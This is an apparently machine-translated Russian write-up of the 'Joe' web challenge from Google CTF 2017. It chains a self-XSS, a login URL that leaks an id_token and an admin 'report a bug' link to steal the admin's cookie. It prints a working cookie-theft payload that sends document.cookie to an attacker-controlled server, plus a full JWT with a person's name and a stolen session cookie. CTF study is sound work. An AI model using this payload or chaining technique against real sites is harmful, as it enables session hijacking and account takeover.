Я принимал участие в отборочных турнирах Google 2017 Capture The Flag и в этом году мне посчастливилось стать частью команды Hackmethod. Этот тип Capture the Flags не является частью вашей типичной игры-стрелялки или пейнтбольного матча, но включает в себя группу задач, в которых отдельные лица или команды сражаются за рейтинги, используя преимущества различных методологий взлома, реверс-инжиниринга, знаний в области криптографии и иногда даже играть в реальном сценарии атаки-защиты систем.
Итак, имея опыт работы с веб-приложениями, я решил взглянуть на задачи, которые мне предложил Google, 6 часов на задачу и до сих пор ничего, и на удивление не так много людей решили задачи, однако администраторы объявили, что «Джо ” снова был в сети, и поэтому я решил попробовать его. Первым недостатком, который я обнаружил в течение нескольких минут после доступа к веб-сайту, был self-xss в параметре имени имени бота.
XSS — это уязвимость в веб-приложениях, которая позволяет злоумышленнику выполнить свой собственный код javascript, который может быть или не быть вредоносным в браузере другого человека, self-xss — это форма XSS, в которой полезная нагрузка (выполняемая команда) требует взаимодействия с пользователем. для выполнения эта уязвимость не имеет большого значения в чистом виде, если только вы не решите связать ее с другой ошибкой.
Это означало, что я мог выполнить свой собственный специально созданный код javascript для человека, который просматривал бота с моей конфигурацией.
Итак, вот как выглядел XSS на вызове Джо от Google.
Что ж, этого было недостаточно, мне еще нужно было получить доступ администратора, чтобы я мог получить флаг, я провел следующие пару минут, просто изучая приложение и делая заметки.
Если мы внимательно посмотрим на подсказку, которую дает нам Google:
«украсть куки администратора»
Этого было достаточно для того, чтобы начать. Уязвимости XSS печально известны тем, что могут красть файлы cookie, что приводит к захвату сеансов, что, в свою очередь, приводит к захвату учетных записей.
Еще не голодны? Не те печеньки.
Файлы cookie — это часть информации, хранящаяся и используемая веб-браузером для более быстрого просмотра, это лучший друг хакеров, потому что они в основном используются для хранения данных пользователя, поэтому при следующем посещении приложения ему не требуется аутентификация. .
Таким образом, ясно, что мы должны «украсть» файлы cookie, а не изменять предоставленный нам файл (я уже несколько раз пытался его декодировать и играть с разными строками безрезультатно), и мы собираемся использовать XSS для этого (я был почти уверен, что уязвимость XSS не просто сидит там без цели).
На практике мы настроили бы веб-сервер со скриптом для кражи файлов cookie и таким образом захватили бы файлы cookie, уязвимость XSS поможет нам в этом.
Давайте развеем ваши сомнения, прежде чем мы продолжим.
Файлы cookie не пересекаются между доменами, мы не можем просто настроить скрипт на нашем сайте и ожидать, что он будет регистрировать файл cookie администратора, когда он посещает эту страницу, потому что этот файл cookie соответствует другому сайту, здесь в дело вступает XSS.
С небольшим кодированием у нас есть этот скрипт, готовый украсть некоторые файлы cookie через XSS (помните, взлом — это не кодирование, а взлом кода, поэтому вместо того, чтобы сосредоточиться на том, как мы его кодируем, мы должны сосредоточиться на методологии приложения). )
<img src=x onerror=this.src='http://myserver/?c='+document.cookie>
Как мы можем заставить администратора действительно выполнить это?
Давайте сделаем несколько заметок, которые я сделал при обзоре приложения:
Поток входа на веб-сайт имеет интересный URL-адрес:
«https://joe.web.ctfcompetition.com/login?id_token=eyJhbGciOiJSUzI1NiIsImtpZCI6ImY3ZDRlODdjN2I2NmVjZjMzMmYwNjBhOTdhNTlkMzE0OWM2YmY3MzUifQ.eyJhenAiOiIyODQ5NDAzNzA5MjUtY240aWZlZnVrMzNrbjBiODg3cHBwdjVmamI5MWU4cTcuYXBwcy5nb29nbGV1c2VyY29udGVudC5jb20iLCJhdWQiOiIyODQ5NDAzNzA5MjUtY240aWZlZnVrMzNrbjBiODg3cHBwdjVmamI5MWU4cTcuYXBwcy5nb29nbGV1c2VyY29udGVudC5jb20iLCJzdWIiOiIxMTczNjg5NzEwOTIyNzU1NjA1MDkiLCJhdF9oYXNoIjoiWnBVTXdYRTdySFVzcGtvUUx4dldUZyIsImlzcyI6Imh0dHBzOi8vYWNjb3VudHMuZ29vZ2xlLmNvbSIsImlhdCI6MTQ5NzgzMzk1NCwiZXhwIjoxNDk3ODM3NTU0LCJuYW1lIjoiVmlzaHdhIEl5ZXIiLCJwaWN0dXJlIjoiaHR0cHM6Ly9saDYuZ29vZ2xldXNlcmNvbnRlbnQuY29tLy1DeERIUlFPa2VScy9BQUFBQUFBQUFBSS9BQUFBQUFBQUFBQS9BQXlZQkY0MzB0OWZkS081Um9QZExEZFV3MlRzUTVGakpBL3M5Ni1jL3Bob3RvLmpwZyIsImdpdmVuX25hbWUiOiJWaXNod2EiLCJmYW1pbHlfbmFtZSI6Ikl5ZXIiLCJsb2NhbGUiOiJlbiJ9.B9P8UU01NO1bboQ9QMAPQ1tqGZjRvjy9psXNjqngia93JPTAtu1tT_Pq8-QwRIxgT7PZOm_kNC6jlrPevGybB9oHGwoqFqnNctfF4t-hDlky8OBb0KUQA1I6xqNniCA-pdXsmg6rCaj34LX6dPw9CcrTC7W4GRIlnO9KZD4BzCiQNUBZTCTUy dwvkkBhrBOdzFOxMucjmTTdioIwaUorMyKTAqt1rXHJAioNEy0KjI87wuPOw2q24l1a-MZSlln7SK-QWyeBZU9s0mJtnXaOPzyJad-rat0MOLKAE1VvqLzH2oTyBOhC-Pir1HVdK_rA7EBerkcqYpGvc
Не очень приятно для глаз, не так ли?
По сути, эта ссылка представляет собой ссылку, по которой любой пользователь, открывающий ее, будет входить в нашу учетную запись без какой-либо аутентификации.
Теперь давайте соберемся, мы нашли уязвимость XSS, хранящуюся в параметре имени. Что ж, этот параметр имени хранится в сеансе нашей учетной записи, и когда кто-либо открывает нашу учетную запись, код должен выполняться, имеет ли смысл?
Мы можем использовать эту ссылку для выполнения XSS и получения файла cookie! все, что нам нужно сделать, это установить имя бота на нашу полезную нагрузку xss для кражи файлов cookie и отправить эту ссылку администратору.
Подожди.
Как мы можем отправить его администратору?
Ну, вот где надлежащая инспекция или разведка, как мы это называем, пригодится, если мы посмотрим на заметки, которые я сделал при осмотре места:
Мы можем отправить администратору ссылку по нашему выбору, чтобы сообщить об ошибках на сайте (еще одна уязвимость, мы можем отправить любую ссылку, и администратор откроет ее без какой-либо песочницы)
Что ж, когда я первоначально использовал приложение, я просто отправил вредоносную ссылку с хуком для говядины администратору (ссылка, которая позволит нам захватить браузер администратора), а затем получил его файлы cookie, но у меня были проблемы с делая сеанс постоянным, поскольку ссылка была закрыта после ее загрузки, я знаю, что вызов можно вывести таким образом, но у меня действительно не было достаточно времени для расследования.
Возвращаясь к нашим выводам, все, что нам нужно сделать сейчас, это отправить ссылку с нашим ID-токеном администратору, и когда он откроет ее, у нас будет файл cookie с установленным параметром «FLAG»!
Так что пока я был весь накачан и почти близок к тому, чтобы получить флаг, что веб-интерфейс говорит нам, что ссылка слишком длинная.
Туше, Гугл.
Однако не беспокойтесь, мы можем просто обойти это, сократив этот URL-адрес, я сделал это с помощью bit.ly и отправил ссылку (здесь мы используем еще одну ошибку, которую мы можем отправить администратору, и он откроет ее без любая песочница), и я отправил ссылку, укоротив ее
После того, как я взглянул на свои журналы сценариев для кражи файлов cookie, я наконец нашел файл cookie, и в нем явно был виден флаг!
flag=CTF{h1-j03-c4n-1-h4v3-4-c00k13-plz!?!}; session="eyJ1c2VyX25hbWUiOiJWaXNod2EiLCJ1c2VyX2lkIjoiMTE3MzY4OTcxMDkyMjc1NTYwNTA5IiwidGFsa19zdGF0ZSI6MH0\075|1497831329|d3d9fa79190d5c4710ca86f6a7693ee0afbb22dd"
Бум, идет Джо. Спасибо монстру печенья за то, что он помог нам украсть печенье.
TL;DR — технический
Цепочка нескольких уязвимостей в веб-приложении, некоторые из которых были слепым XSS, и утечка токена идентификатора сеанса пользователя в URL-адресе помогли нам создать полезную нагрузку XSS, помогающую нам украсть файл cookie администратора, заставив его перейти по ссылке в который наш токен сеанса раскрывается с помощью функции «сообщить об ошибке» (которая принимала любой URL-адрес независимо от домена и открывала его без песочницы), что привело к тому, что мы успешно украли файл cookie администратора, в котором был жестко запрограммирован «FLAG».